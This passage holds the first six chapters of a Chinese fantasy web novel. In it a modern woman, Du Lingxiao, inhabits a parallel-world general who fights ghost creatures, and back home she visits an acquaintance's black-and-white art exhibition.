《杜凌霄，度恶诛邪》 1. 001 《杜凌霄，度恶诛邪》全本免费阅读 旷野的夜风带来了甜蜜的香气。 甜蜜到完完全全掩盖住了本应该一同袭来的腐烂和朽坏的味道，甚至混合着血腥味一起变成了能够引起人食欲的特殊气味，也同时也化作了无声的警告。这种会在鬼族所到之地盛开并散发出特殊香气的鬼影草是掌握鬼族行踪的重要道具，只要闻到这种令人作呕的香气，敌人便一定已经在夜色中开始展露身形。 杜凌霄轻轻呼出一口气。 夜晚在她的吐息里面沉入更深的黑暗。刚刚失去太阳的天幕散去了最后一丝热度，冰冷的月光一视同仁隔着遥远到不可计数的距离观察着大地上的一切生物，并且无动于衷等待着即将到来的战斗。 杜凌霄借着洁白的月光仔细擦拭着自己手中的长枪。风中代表着敌人的气味正在逐渐加重，彻底失去了引诱的甜美，变作了近乎刺鼻的腥气。这些掺杂着纯粹恶意的空气没能动摇凌霄分毫，她像是毫无所察一般沉默地检查自己的武器，任由恶意轻飘飘拂过她的衣角却无法近身。 她浸染在恶意中巍然不动镇定自若的身影自然也影响到了她身后的同伴们。久经沙场，立下赫赫战功，被称作人类救世主的度邪将军杜凌霄有着高大而坚定的背影，充斥着力量的矫健身躯，被鬼族战斗浇灌出来的煞气更是锐不可当。她的存在对于人类而言就代表着无可言喻的安心感，使得队内由于敌人逼近开始紧张的个别成员很快便冷静了下来，等待着将军的指示。 杜凌霄在金属光滑的表面看到了自己清晰的倒影，灿金色的眼瞳被无机质的月色以及金属光泽衬托得杀气腾腾，似乎比手中的冷兵器还要更加锋利几分。这双眼瞳在夜色下依旧流光溢彩，能够窥见些许她灵魂光泽的夺目宝石也成为了她外貌上最引人注目的重点，甚至淡化了她相貌的轮廓。使得所有人第一眼望去必然先被无与伦比的灵魂光彩所震撼，来不及细看这位人类救世主到底拥有如何相貌。 她此时脸上的表情可以称得上是温和，并由于对自己实力的自信，显出独属于强者的游刃有余。然而用枪砍出来的煞气到底将一切柔和假象都破坏殆尽，只留下让人不自觉发自内心臣服的威严。 她不再将多余的注意力分给自己的倒影，而是专心致志沉浸在擦拭枪柄上镶嵌的特殊晶体里。还未被激活的光晶石在月光的照射下如同黑洞，贪婪地吸收着所有照射向它的能量。 属于凌霄的长枪在造型设计上分外简洁，除了最基本的用来消灭鬼族的光晶石以外没有添加任何多余的事物。所以在挑选时她一眼就看中了这把只注重实用性能的武器，并立刻做出了最终决定。对她而言，过多纠结武器的形制是一种对时间的浪费。她有信心能够百分百发挥所有武器的力量——毕竟决定武器最终杀伤力的永远都是使用武器的人。 她只身一人站在众人的前方，冷静地倾听着风声传递过来的消息。 仿佛是为了印证她的判断，她身后传来了下属的汇报声。聂雨林双手交叉抱肩试图给予自己勇气，闭着眼睛将全部注意力都集中在听觉上。风声带来了所有她需要的消息，鬼族的行动轨迹、草叶被腐蚀的哀鸣、鬼影草生长的声音、度邪将军周身磅礴的气…… 聂雨林尽力克制住了自己话语的颤抖：“还有一千米，一分钟。” “我知道了。”杜凌霄点头回应了她。于是意识到自己派上了用场的聂雨林心满意足，在同伴鼓励的目光里用最小声松了口气。 看来这个世界的聂雨林成功克服了自己一部分的恐惧，并将视线投向了自己世界之外的事物。杜凌霄为同伴正面的成长感到高兴，但依旧没有将自己的目光从远处的阴影移开。 她的身后传来了手指轻点枪柄的响动。不用回头凌霄都知道那是临战状态下的云章有些跃跃欲试的表现。 在这个有鬼族威胁人类生存的世界里，被自己救下的云章一如既往格外仰慕作为将军的自己，身上的伤没有好全就立刻加入了前线作战，并且从刚刚开始，视线就没有离开凌霄的背影。她对这样的倾慕和崇敬早已经司空见惯，即便沐浴着众人饱含热度的视线，也能够视若无睹严格执行自己的计划。而她也认为自己需要走在前方，用这样坚定不移的身形成为自己同伴们的依靠。 杜凌霄感受着鬼影草逐渐加深的血腥味，在心里缓缓默数。 三、二、一—— 还不等已经肉眼可见的黑影在月光下膨胀开来，杜凌霄便如离弦之箭一般，带着呼啸的风声刺向月光被吞噬掉的黑暗之中。 百米的距离对她而言不过刹那，风声甚至都来不及追上她的步伐，她便已经堂堂正正踏入黑影的攻击范围。在地面上蠕动着吞噬掉触碰到事物的黑水立刻泛起波澜，闻到人类气味的鬼影为猎物的出现而感到兴奋。状似人形的漆黑鬼影们争先恐后从地底爬出，如同人类手臂般的触手张牙舞爪试图撕裂主动送到眼前的可口点心。与此同时，血腥味和恶意混合在一起弥漫开来，试图让猎物感到恐惧并因此窒息。 它们当然不可能如愿以偿。 杜凌霄立刻判断出眼前的鬼族属于类人形鬼影，是用来探索环境的前哨，说明今天遇到的鬼族规模不小，有一定程度的分工。但对度邪将军而言，不过小菜一碟。 视线被阻隔也依旧影响不到杜凌霄的感知能力。她毫不犹豫向着黑水潭中心的位置投出自己的长枪，随后高高跃起顺势躲开了黑爪的攻击。连声音也一同吞噬掉的黑水没能预料到自己会在黑暗中扑空，黑爪们狠狠撞在一起后崩裂开来跌落在地，被黑水腐蚀掉的草地凹陷下去，使得空气中的血腥味也一同加重。一击不得的黑影在属于自己的黑暗主场中反应迅速，又很快向着高空刺去，悄无声息的黑暗锁定了猎物，试图在一片寂静中将其绞杀。 然而已经被激发的光晶石给了黑影迎头一击。伴随着枪柄光晶石创造出来天降正义般热烈而刺眼的强光，凌霄踩着枪柄狠狠刺入了黑水潭的中心位置。在清脆的撞击声和来不及吞噬震动暴露出来的刺耳尖叫声中，用肉眼几乎无法察觉的透明晶体核心被枪尖彻底摧毁，黑影立马如同沸腾一般开始颤动嚎叫起来，开始用尽全力费力反扑。尚且能够控制的身体部位毫无章法齐齐暴起，带着怒火袭向人类。 凌霄一击得手后迅速拔出枪柄，借着空气的波动成功捕捉到鬼影的攻击轨迹，却不躲不避直面迎了上去。她游刃有余踏上鬼影失去黑暗庇护后化为透明空气的长刺起跳，在空中扭转身形后迅速确定了第二枚核心的位置。 她挥枪劈开第一只跟上她脚步袭来的鬼爪，用左手拽着枪尾横扫一片后重重踢出长 2. 002 《杜凌霄，度恶诛邪》全本免费阅读 凌霄踏碎最后一颗鬼族核心的时候，清晨的第一缕阳光也终于照射在了大地之上。她安静地注视着鬼族晶莹剔透的核心碎片在阳光下闪烁出耀眼的光芒。 战斗比她所想象得结束的要更快。也许是因为来自现代并且已经经历过不少世界，拥有许多战斗经历的她，和这个世界身为度邪将军的自己形成了良好的互补。她们相同的灵魂在相同的躯体里产生共鸣，也因此变得更加强大起来。 严格来说，此时的度邪将军杜凌霄并不是将军本人。来自现代社会，一个不存在鬼族世界的杜凌霄暂时与将军同频，短暂地成为了这个世界的度邪将军。 凌霄对自己突然成为平行世界的自己已经有了相当丰富的经验。每次当平行世界的自己遇上什么麻烦的时候，她都有可能在现世沉睡时灵魂被召唤到另一个自己身上，和自己一起解决可能会危害世界的各种问题。她所拥有的能力总是可以与平行世界的自己进行互补，经由对方同意共享关键性记忆之后便顺利地融入陌生世界。而原本世界的她自己则是暂时陷入第三者视角来观测凌霄到来后发生的一切，并且在梦中偶尔还能够面对面交流。 由于本质上是同一个人，凌霄一直都没有和平行世界的自己产生过严重意见分歧，又或者是被拒绝依凭。作为杜凌霄的原则和底线无论在任何环境和任何世界里都不会发生改变，在面对可能危及无辜性命且自己可能无法完美解决的重大危险时，杜凌霄都不会介意平行世界的自己前来助力，让出身体主导权反而是十分轻松的代价。 只要能够拯救那些可能被牵扯进来无辜的生命。 不变的灵魂本质在不同的世界里依旧会散发出同样的光彩。 她们作为不同世界之中的同一个人，在自己的身上也不断学习着成长着，将自己磨练成为了更加强大的存在。 凌霄会成为度邪将军也是相似的道理。这个世界能够靠吞噬生命进化的鬼族尝到了人类与智力的美妙，开始大肆吞食人类试图进化出更加完美的形态。度邪将军自然不会放任这些人类的敌人，将军通过凌霄脑内度邪真君传授的功法实力更上一层楼，最终扫清了所有吞食过人类的鬼族分支，保卫了人类的未来。 凌霄扬起头望向初升的太阳。将军曾在睡梦中向她传达过谢意，而她并不觉得自己做了什么需要道谢的事情。她很高兴自己能够守卫住另一个世界人类的未来，让大家能够平平安安度过夜晚，迎来光明的白昼。 外界传来的声音打断了凌霄的思绪，她下意识看向声音传来的方向。伤还没有好透便战斗了一整夜，导致精疲力尽的云章扶着自己的枪半跪在地上。他脸上还残留着战斗带来的热意，白皙的脸颊上被鬼族攻击后留下的腐蚀痕迹分外显眼。而他显然并不觉得自己需要休息，在注意到凌霄的视线之后便挣扎着起身想要靠近。 早已经习惯云章这幅做派的凌霄不以为意，从聂雨林手里接过毛巾，冲着云章小声道：“别逞强了，好好休息。” 意识到凌霄正在和自己说话的云章立刻两眼放光，十分精神且果断地跪坐回了原地。他的长相偏清隽秀丽，不开口的时候总是容易被误解为风度翩翩温润如玉的秀气少年，因此与带着些许狂气的作风相对比形成了浓厚的违和感。使得提着急救箱正在翻找光属性治疗凝胶的江云光没有忍住用嫌弃的目光看了一眼同伴。 想到属于自己的平行世界，现代社会里云章被江家收养，成为了江云光的哥哥江云章，凌霄便觉得将军这边的两人相处模式挺有意思。在她的世界，江云章是江云光嘴里只有关键时刻靠谱的胆小哥哥。当然，这里的云章被将军救下后取名为云章，自然也是因为凌霄想起了平行世界的他，才会以此命名。 “你也是。”凌霄回头，一边观察聂雨林的脸色，一边轻声说道，声音低到近乎气音，“今天遇到的不少鬼族都有吸收声音在死后爆发的能力，我控制了震动范围，你的耳朵还好吗？” 站在她身旁的年轻女性没有习惯性伸手去捂住耳朵，连夜奔波战斗造成的体力消耗使得她难免显露出了疲态，却没有被听觉折磨时的烦躁和痛苦。 聂雨林天生听觉过于敏锐，又根据平行世界的不同原因极为害怕死亡，对自己的性命十分在意。使得她很多世界都会把自己困在一隅，堵住双耳，试图只听到自己的心跳声来确定自己的存在。凌霄世界的聂雨林好不容易出门逛一次街，戴着特制的耳塞依旧被人群吵到头疼了一整天，向凌霄抱怨过将近一年都不想再出门。 聂雨林稍稍低下了头，牢牢堵住双耳的特制黑色耳塞变得分外有存在感。她避开了云章在内个别同伴们的目光，感觉来自旁人的吵闹心跳和呼吸声都不自觉在将军身旁变得安静且能够容忍起来：“谢谢将军，我。我没事的。我这次帮上忙了，对吗？” 凌霄保持着自己的低声：“当然，多亏了你，我分析出了最好的进攻时机。” 虽然聂雨林的成长使得对方已经逐渐能够接受面对面交谈时来自旁人的呼吸心跳以及嘴唇开合的震动声，凌霄还是习惯性希望同伴在与自己交谈时没有多少负担。她无法对聂雨林宛若雷霆暴雨一般毫不停歇的吵闹世界感同身受，但她能够在可行范围里面让同伴轻松些许。 得到夸奖的年轻女性脸上露出了难得的笑意。聂雨林向来喜欢把自己封闭在无人的世界里，只去聆听自己脉搏与心脏的跳动声和血液在自己身体里循环的巨响，用以确认自己仍然活在这个充满了喧嚣的吵闹世界里。她不喜欢打理自己漆黑的长发，学凌霄扎着马尾，露出了填满忧郁气质的面庞，在还未彻底明朗的残存夜色里，比遁入地底的无光黑暗还要安静。 “我也帮上忙了对吧！将军大人！”云章遵循着凌霄的命令在原地待机，方便了开始给他处理伤口的江云光。只不过一听到将军表扬别人，原本安安分分的云章便又开始躁动。 江云光立马扯紧了云章手臂处的绷带，涂抹凝胶的手也用上了些许力道，小声威胁他：“都警告过你在雨林姐面前要小声说话了！” 云章被疼得浑身打了个激灵。光属性治疗凝胶能够吸收鬼影对□□的侵蚀，但也同时会造成体力流失，治疗过程本就不甚舒适。但江云光的力度里显然还有责备的意味，云章不爱惜身体，没有在意队友们的叮嘱，战斗结束后成为了队伍里受鬼影侵蚀最严重的病人，甚至连没有伤口的脸颊都出现了被侵蚀的黑痕。 除了强劲如凌霄那样可以用□□抵御鬼影侵蚀的绝代强者以外，绝大部分人都会在与鬼影的战斗中回避直接接触，与鬼影战斗经验丰富的将军小队更是将此当做战斗常识。云章被侵蚀出的黑痕完全是因为他不计后果试图最快消灭鬼族造成的。 云章对自己现在的伤情也心里有数，于是出于心虚一声都没有喊疼。聂雨林看死人般的锐利眼神他并不害怕，他只担心将军失望的眼神。 凌霄抬手拂 3. 003 《杜凌霄，度恶诛邪》全本免费阅读 凯旋回程的将军一行人自然受到了热烈欢迎。 即便现在天色才微微亮起仍能称得上是清晨，城内的民众们便已经聚集到街边翘首以盼将军的回归。度邪将军不喜骑马的消息早就已经家喻户晓不算什么秘密，因此将军可能踩上的回程街道被大家清扫得干干净净，试图消除任何一粒不应该存在的尘埃。 有眼尖的人已经瞥见城门上的鄢城主迈着轻快的步伐下了楼，连忙又抓着扫帚在地上磨蹭了几下，力求能够完美迎接将军的归来。已经制作好绝水花花环的少女仔仔细细检查了一遍自己的成果，将色彩搭配丰富的花瓣梳理整齐后又喷了些水保持新鲜。因为过早起床没忍住打了个哈欠的孩童被祖母瞪了一眼，于是立刻伸手捂住了自己的嘴。 脚步迅速甩开了随从，几乎是从楼梯上蹦下来的鄢明济成功成为了第一个迎接凌霄的人。她向来没有什么做城主的架子，性格开朗不拘小节，又是和凌霄从小一起长大近似家人的挚友，因此在面对凌霄时更不会拿出城主的气势了。做事向来随心所欲的城主把身后随从们的劝解和担忧声全部抛之脑后，给了杀鬼凯旋归来的将军一个热烈的拥抱。 “欢迎回来！我就知道凌霄你是最强的！毫发未伤就杀光了鬼族，我们的将军大人真是太厉害了！” 鄢明济从来不会吝啬对凌霄的夸赞之词，于是赞美声源源不断从她口中砸向凌霄。她与精英队中专门杀鬼的众人不同，并不是以武力值见长的角色，因此外表看上去缺乏了些许凌厉的煞气。此时面对朋友又是一副完全信任的轻松表情，便更加没有城主相应的威严气势了。比起作为城主礼节得当犒劳战士，更像是在庆祝自己的朋友归来。 凌霄对这些夸赞照单全收。她放慢了自己的脚步与鄢明济并肩而行，一齐踏入城门。 早就等待着能够亲眼见到将军们的群众立即沸腾起来，用来驱邪庇护的绝水花花瓣被不断抛入空中，为凯旋归来的英雄们献上祝福驱逐鬼气。这样来自群众实质性的敬仰和期盼能够转化为能量帮助队员们恢复被鬼气所影响到的伤口，因此即便是对声音分外敏感的聂雨林都没有逃避热闹欢腾的欢庆场面。她只是摩挲着自己的耳垂，不动声色向云章炫耀了一番将军特地为她设下的屏蔽声音的保护结界。 凌霄笑着任由街边表情激动的少女为自己戴上了绝水花花环，触碰到凌霄发丝的少女瞬间红了脸颊。威风赫赫的将军微低下头温柔地注视着她，明明是背着光的姿势她却仿佛在仍然黯淡的天色里看到了耀眼无比的太阳。激动之下少女连欢迎回来这简简单单的四个字都没能顺利说出口，情急之下只能无措地捂住了自己的脸。 鄢明济在一旁直接笑出了声：“将军大人真是魅力无穷。” 少女身后失去了送花环机会的少年长叹一口气，当场开始拆解花环希望还能来得及为将军献上几朵用以祝福的花。将军一直以来的习惯是只收一顶花环和三朵花，他们还有机会将祝福亲手送给将军大人。 凌霄在大家的热情下沿途选了三支绝水花别在了自己的衣领上，随后便加快脚步拒绝了大家的好意。绝水花与伴随着鬼族相生相灭的鬼影草拥有完全相反的功效，有着一定程度驱散鬼气侵蚀以及治愈镇静伤痛之类的优秀效果，十分适合赠与刚和鬼族们战斗结束的英雄们。凌霄对自己的实力拥有信心，认为自己不需要绝水花和祝福，留给队友们才算是合理的资源利用。但她到底做不出来辜负大家好意的事情，就算认定自己不需要，也会顺应大家的心愿，克制地收下属于自己的赠礼祝福。 “城主大人也是魅力无边。”拒绝收花后凌霄好整以暇看向抱着花束的鄢明济。这位从母亲手里继承了城主一职的年轻女性用开明随和却又直击重点的手段，将这座城管理得井井有条欣欣向荣，因此也同凌霄一样受到了大家的爱戴。 “我比起将军而言还是逊色些许的。”鄢明济摇了摇头，冲着凌霄眨了下眼睛，谈话间已经压低了声音，“不然你怎么解释你身后的灼热目光？” 凌霄不用回头就知道鄢明济指得是云章。仰慕将军爱戴将军的人自然多到数不胜数，但是毫不掩饰自己心思以至于行动举止都有些轻狂的例子却不多。大部分人都在与凌霄的日常相处中领悟到了她的行事作风以及喜恶，开始收敛起了自己的态度表达。只有在谈及将军今天优待了谁谁谁时露出的妒意才能证明那些情绪和心思都没有消失，而是藏得更深了而已。 “磨合一段时间就会好了。”凌霄语气笃定说道。 云章这样不加掩饰的执着未尝不是刚被救助出来无法妥善控制情绪的后遗症。与她相处更久的云章们没有一个不是藏起了锋芒和执念，开始伪装着配合凌霄行动准则的。凌霄不喜欢在执行正事的时候带入过多个人情绪，所以追随着她的人们自然也会渐渐将单纯的追逐凌霄和诛灭邪恶区分开来。大多数云章同位体们的情商与智商都不低，又一心一意跟随着杜凌霄的脚步，自然很快就能参透她的喜恶态度，从而开始调整自己融入团队。 至今为止凌霄最满意的云章应该是壬国女王杜凌霄的暗卫长杜云章。对方完全理解了女王一统天下的宏远和希望开创太平盛世的心愿，作为最好用的刀为女王清除干净了所有前进道路上的障碍。而在战争消失天下太平的新纪元里，杜云章也在女王的授意下开始探寻自我享受生活。要让现阶段的云章学暗卫长那样积极面对除杜凌霄以外事物确实很难，凌霄准备在一定时间的磨合后与云章好好谈谈。毕竟下属的心理健康也是她需要负责的事情。 她不会阻挡云章战斗，但她需要云章思考清 4. 004 《杜凌霄，度恶诛邪》全本免费阅读 凌霄在生物钟的作用下准时看到了熟悉的天花板。属于现世的阳光与将军世界的曙光一样带来温暖的感觉，成功将她从混沌状态中牵引出来。 她下意识从被子里拿出自己的左手，果然见到了一只没有厚茧，掌心光洁，属于年轻女性的手。与将军被枪柄和光晶石磨出来的强劲有力的手截然不同。即便灵魂相同□□相似，度邪将军的手也依旧带着毫不犹豫挥散百千鬼影的气魄，承载着所有为了保护人类受到的伤痕。 凌霄站起身简单活动了一下自己的身体。她和将军身高相似，却没有一直在前线杀敌的将军那样拥有千万场战斗磨砺出来的□□力量，行动之间难免无法够及之前的迅捷。凝滞的空气在她变迟钝的感官里化作了自然流转的缥缈，但纯净到不掺染任何来自鬼族的污秽与血气。 回到自己从小长大的现代世界，她自然不需要适应时间，很快就重新适应好环境，翻开自己桌签的行程表回忆了一下日期。她在去往将军世界时，自己世界的时间停滞不前，因此现世不过经历了一个普普通通的夜晚，迎接了再平凡不过的早晨。 凌霄端着水杯开始确认对自己而言几个月之前的事务：给新小说找灵感、重温古诗文集、近期去一趟书店顺便帮聂雨林带几本感兴趣的杂志、和江云光约好要去她哥哥江云章的画展…… 凌霄的手指划过近期不会见面的聂雨林，停在江云章的名字旁边。 她在本世界和江云章一点都不熟，顶多因为同校以及江云光的原因见过几面。要不是江云光想和她出门逛街，拿着从自己哥哥那里得到的门票邀请凌霄，凌霄绝对不会对江云章的画展感兴趣。她虽然熟悉这个人灵魂的本质，但对每个世界都要和熟人做朋友一点执念都没有，大多是顺其自然缘分所致。只要知道熟人现在拥有了幸福的家庭便没有过多在意。 凌霄仔细思索了一遍江云章与云章的区别，确定自己不会弄混距离显得发言态度微妙以后就跳到了下一行继续确认行程。由于她已经习惯根据文字复习人际关系，捡起原本的记忆，这项工作很快就结束，而她也终于有信心能用亲切而合适的口吻给江云光打电话了。 她们再次确认了约定好的地点和彼此的进度，江云光在知晓凌霄尚未出门后提议道：“要不凌霄姐你等着我和我哥开车去接你吧。他不知道在搞什么，拖拖拉拉的到现在都还在家，明明在开画展比我都还要闲。” 凌霄听出了她的话外之音，调侃道：“他又帮你姐管着你什么了？” 江家家境十分富裕，继承人长女是江云光的同胞姐姐，由于工作繁忙不能随时确认江云光的近况，因此经常叮嘱年龄相近的弟弟照顾家中最为年幼的妹妹。虽然嘴上总喜欢埋怨云章，但这对没有血缘的兄妹关系并不糟糕。 “他只准自己向我姐打小报告，不准我向我姐告状，连和你吐槽都不行——我不说了行了吧，小心眼。”江云光抱怨到一半不情不愿的改口，似乎是她话题的主人公发现了她的小动作，于是用眼神警告了她的发言。凌霄回忆起昨夜将军世界里用光凝胶猛戳云章痛处的江云光，说出的话里也带上了笑意。 “还是不麻烦你哥哥了。”凌霄和江云章不熟只算面识，即便是去参观对方的画展也没有什么交流的欲望。引导着将军世界横冲直撞的云章融入集体已经让她暂时见够了名为云章的灵魂，因此她并不想与江云章成为更进一步的朋友。 “我自己打车去就行。”凌霄用手划过自己时隔几个月的手机，“他应该也有别的事情要忙吧。”她说完又在脑内复述了一遍，确保自己没有因为对上将军的两位下属变成命令语气。在现代她和好友江云光可没有明确的上下级关系。 江云光自然没有异议。她心情转换很快：“那我们等会儿见！要不是明济姐最近出门旅游了，我绝对要把她也拉上。” 凌霄语气轻快回应她后挂断了电话，很快就收拾好了东西准备出门。她喜欢一切从简，顶多在卫生间洗漱时通过镜子确认了一下自己目前的状态。她的外貌与将军毫无不同，没了沙场征战出来的煞气后，线条锐利充满英气的脸庞反而因为其主人习惯性低调的作风显露出恰到好处的柔和感。倒是漆黑而深邃的眼瞳边缘偶尔会泛起点点金光，不过大都被注意到的人当做了错觉又或是反射出来的阳光。 她用手轻揉自己的眼睛，睁开闭合尝试过许多次，终于确保自己的眼神从将军回到了普通人。于是镜子前英姿飒爽的度邪将军彻底消失不见，只留下满面笑意的年轻女性。 凌霄很满意目前的调整效果，随意从自己的衣柜里抽出一件外套后便推门而出。现代社会毫无鬼影草存在的普通空气让她心情大好，就算缺少了植物生机盎然的气味，也比充斥着血腥或是腐败的甜蜜要强。 她在车上搜出了江云章画展的介绍，大致浏览了一遍内容推荐。以黑白对比为主题的画展似乎受到不少好评，合作推出的咖啡店也有不少网友们前去打卡的照片。只不过凌霄在看到被誉为“杜章先生最满意的画作”时下意识皱起了眉头。画面上似乎是身着黑衣的人跌入了更深的黑暗，从灰过渡到纯黑的光影成功显示出了黑衣人的轮廓，但不可否认整体色调几乎暗到没有任何明亮处。这幅坠入黑暗的画和另一幅被纯白衬托出灰色为暗调的画引发了不少讨论和解读。有人说是黑白反讽，也有人说是证明黑白同源。 但是熟悉云章这个灵魂的凌霄一眼就看出了江云章画的是他自己。她不清楚这个世界的江云章在被江家收养之前过的是怎样的日子，但毫无疑问对方正在和不少云章一样为自己的出生和阵营感到痛苦。不过能够将其画出来也算是找到了能够发泄的途径，凌霄没有过多关心，直接跳到了下一页。 她和江云光前后脚到达了约定地点。凌霄抵达时江云光正在与车上的人挥别，江家的车留给了她一个背影和若有若无的视线。由于没有敌意，又在将军世界里习惯了来自大众的注视，凌霄装作毫无所觉的样子忽视了不重要的事情。 江云光和将军世界里的她年龄相差不大，正值对什么都分外好奇想要尝试一下的年纪。穿着将军世界战甲时的她身姿挺拔利落，换上现代的常服则是更多了几分活泼开朗，变回了在和平时代里无忧无虑快乐成长的形象。凌霄虽然觉得将军 5. 005 《杜凌霄，度恶诛邪》全本免费阅读 与画展主题相契合的互动活动被安排在了出口处。一黑一白界限分明的画布上已经被贴满了来自参观者们的透明圆片。层层叠叠粘黏上去的塑料片并没有改变画布的底色，即便已经经过无数参观者的选择，黑与白依旧如同楚河汉界般泾渭分明，不容侵犯。 画布前面也有犹豫要将自己手中的圆片贴到哪边的参观者。有人说着反正是透明不影响任何结果随意一贴，也有人当做是对画展的评价，说着暗色系的作品自己更喜欢，于是贴在了黑色的那一边。还有人根本不在意什么黑白底色阵营，蹦了好几下把属于自己的塑料片贴在了最高处。 江云光也属于不在意这些弯弯绕绕小细节的性格。她自己门票里拆出属于自己的塑料片，撕开背部的塑料膜后毫不犹豫将其拍在了黑色的一边。 “我还以为你会选择白色那边。”凌霄根据江云光所有平行世界里毫不意外都站在光明阵营的印象推测道。至今为止她还从未见过江云光选择黑暗，蔑视规则轻视人命的可能性。她眼前的年轻女孩似乎永远向着光明坚定不移前行着，从未被沿途可能遇到的各种荆棘阻碍绊住脚步。 “我也第一印象就是选白色。”江云光为凌霄对自己的了解感到高兴，“毕竟我不喜欢黑乎乎的东西嘛。但是凌霄姐不觉得透明片贴多了层层叠叠的，就算是黑色底布也开始变亮起来了吗？我这是在助力黑色走向光明。” “很有哲理的发言，不愧是你。”凌霄点点头，知道江云光的话只有字面含义。对现代社会的江云光而言，生活没有复杂的黑白也没有纷纷扰扰的战争。 江云光扭头正要回应凌霄，却看到了熟悉的身影正在走近。她望着对方手里的黑白纸杯，眼前一亮：“你帮我们拿过来了？谢谢啦。” 来人端着两杯咖啡牛奶不紧不慢走近了二人。他有着令凌霄分外熟悉的外貌，只不过最为关键能够透露出灵魂的目光偏移，不似云章那般笔直而炽热地追随着度邪将军。 堂堂登场的江云章展现出了云章现阶段还没办法伪装出来的从容气质，以及和云章截然不同的低调作风。他把自己裹在黑色的大衣里，连具体的身形也被全部遮盖，使得凌霄没办法通过外貌分析他是不是有着和云章一样蓄满了纯粹力量的矫健身姿。这张一模一样的脸失去了熟悉的狂气，便化为了无数个平行世界里云章最为惯常的社交姿态——温柔谦逊，端方有礼。 生长在现代社会没有染上任何血债的江云章礼数周全，周身的气质除了有些沉静以外并没有任何让人感到阴暗的部分。他将咖啡牛奶递给凌霄的同时也没有忘记问好：“杜小姐，下午好。很高兴能在这里看到你。” 他的语气很是真诚，但目光到底没能与凌霄对视，而是集中在了凌霄手里的塑料片上。 由于这里已经走出了室内范围，江云光接过纸杯便喝了一口，顺带吐槽江云章的作风：“你那么拘束，让凌霄姐都不知道怎么回话了。” 凌霄抬手摸了摸江云光的头，并没有否认：“下午好。我很喜欢这场画展。”由于江云章没有对外公开画家“杜章”的具体身份，凌霄刻意没有说出有指向性的词句。 江云光在气氛变得尴尬之前接过了话题：“好啦，你们两个就不用客气了，等到凌霄姐把贴片贴完离开这里有的是时间聊天。”她作为与交谈双方都相处颇久的角色，能够感觉到凌霄不太喜欢这样过于拘谨的气氛，而看上去镇定自若的江云章已经开始后悔犹豫纠结了。 江云光一点都没觉得凌霄会在做决定时犹豫：“凌霄姐肯定已经选择好了吧？” “没错。”凌霄顺着江云章伸出的手，将自己的杯子暂时交付给对方保管。她用空出来的手撕去塑料膜，走进画布后，将属于自己的塑料片不偏不倚贴在了黑白交界处，使得原本没有任何颜色的塑料片也变成了一半是黑一半是白的状态。 “诶？”江云光露出了惊讶的表情，“我还以为凌霄姐绝对会贴成白色的呢。”从小到大不知道见义勇为了多少次的杜凌霄毫无疑问是站在光明中的角色，江云光总觉得任何黑色都无法接近杜凌霄。 江云章也难掩惊讶，甚至由于惊讶到瞪大眼睛显得有些反应过度了。 凌霄从他的手中拿回了自己的杯子并给出理由：“毕竟一黑一白才最为平衡。” 虽然有关画布黑白含义的猜测层出不穷，但认识无数个平行宇宙江云章的杜凌霄能够对他的用意猜到八九不离十。参观完画展之后更是完全确认了自己的推测。泾渭分明的黑白应该是江云章对自己内心善恶的纠结挣扎。江云章们总是会诞生在不尽如人意的家庭，又被环境裹挟着陷入远离本心的更深的黑暗。就像将军世界里的云章那样，在被将军救下之前，对方与鬼族牵扯过深以至于险些丧失作为人类的身份，差点成为毫无理智只会杀戮的恶鬼，变为将军无法拯救的敌人。 在江家这样温暖环境里顺利生长的江云章也许会因为难得的幸福，开始为自己的身份生出负罪感。虽然不知道现代社会的江云章在被收养之前如何长大，但以这个家伙的糟糕运气，肯定不是什么和谐有爱的健康环境。 凌霄能够知晓江云章的纠结，却无法感同身受。对她而言，自己的本我自然有善有恶，明暗一体。当她立下誓言超度一切邪恶还给人类朗朗青天的时候，她就已经做下了相应的觉悟，并十分清楚地知道自己正在进行杀戮。即便杀戮的对象是不应该存活在这个世界上的邪恶。她抱着背负那些邪恶生灵性命的觉悟尽自己所能来守卫和平，期间也并不是所有手段都光明正大堂堂正正。 她自认为做不到不动刀兵，用上了极端的手段来保护光明，所以不会称自己纯白无辜，内心光洁无暇。 她只是在做自己认为应该去做的事情而已。严格来讲甚至可以说她就是自私和高傲的集合体，仗着自己的强大擅自定义世界的进行，擅自将受苦的生灵们当做了需要拯救的对象，又擅自去替他们决定如何达到和平的目标。不求回报也不须感恩，因为她 6. 006 《杜凌霄，度恶诛邪》全本免费阅读 杜凌霄作为最熟悉云章本质却最不熟悉江云章的人，自然不会错过对方现在手足无措情绪慌乱的反应。只不过江云章不是自己的下属也不是自己的朋友，她并不好过多干涉，选择了用眼神示意江云光注意一下自己的哥哥。 于是江云光干脆利落选择了拉着凌霄与自己哥哥道别，前往计划好的下一站享受美食。 本就不希望自己让凌霄感到碍眼的江云章立刻如梦初醒选择退场，迅速道别后背影都带上了几分落荒而逃。他连给妹妹转账请两人吃饭这样计划了许久的内容都忘了说，只希望能在凌霄对自己印象变差之前赶紧消失，不成为打扰到对方与朋友单独相处的令人感到困惑的家伙。 凌霄基本从不掩藏自己的内心想法，十分直白地问道：“我和江云章在此之前有什么交集吗？” 江云光根本就没有考虑过自己哥哥的想法能够瞒过火眼金睛杜凌霄的可能性。因此她耸了耸肩膀如实说道：“凌霄姐好像在他来我们家之前救过他，我这样说你想起来了吗？” “想不起来。”杜凌霄十分干脆的放弃了。光是云章这个灵魂相关的记忆她就不少，要在那么多记忆里去分辨现代社会小时候的云章到底是哪一个，也实在是太为难她了。江云章也不过是那些云章中的万分之一，泛不起半点水花。 “我向来不擅长回忆被我帮助过的人的脸。”凌霄坦然道，“因为救助旁人是我自己的选择，我不希望我的记忆会成为他们的负担。” 她刻意遗忘了许多被她帮助过的面孔。因为她本就不是为了让他们对自己露出感激的姿态又或是从他们手中得到什么。为了防止自己陷入迷惘质疑自己行动的目的，甚至站在道德制高点去评判要求他人，她总是把自己的一切行动都当作是自私自利的行为。与任何个人或是利益都无关。 “不愧是凌霄姐，思想和觉悟都和我这种人不一样。”江云光捏着自己的纸杯感叹道，“那需要我给江云章带什么话吗？我直接告诉他你没有印象了也没关系吧。” “直接和他说明白就好。他不也是大概猜到了我不喜欢被打扰才这样胆战心惊的。”凌霄认为自己和云章这个灵魂的缘分也不差现代社会这点微不足道的经历了。 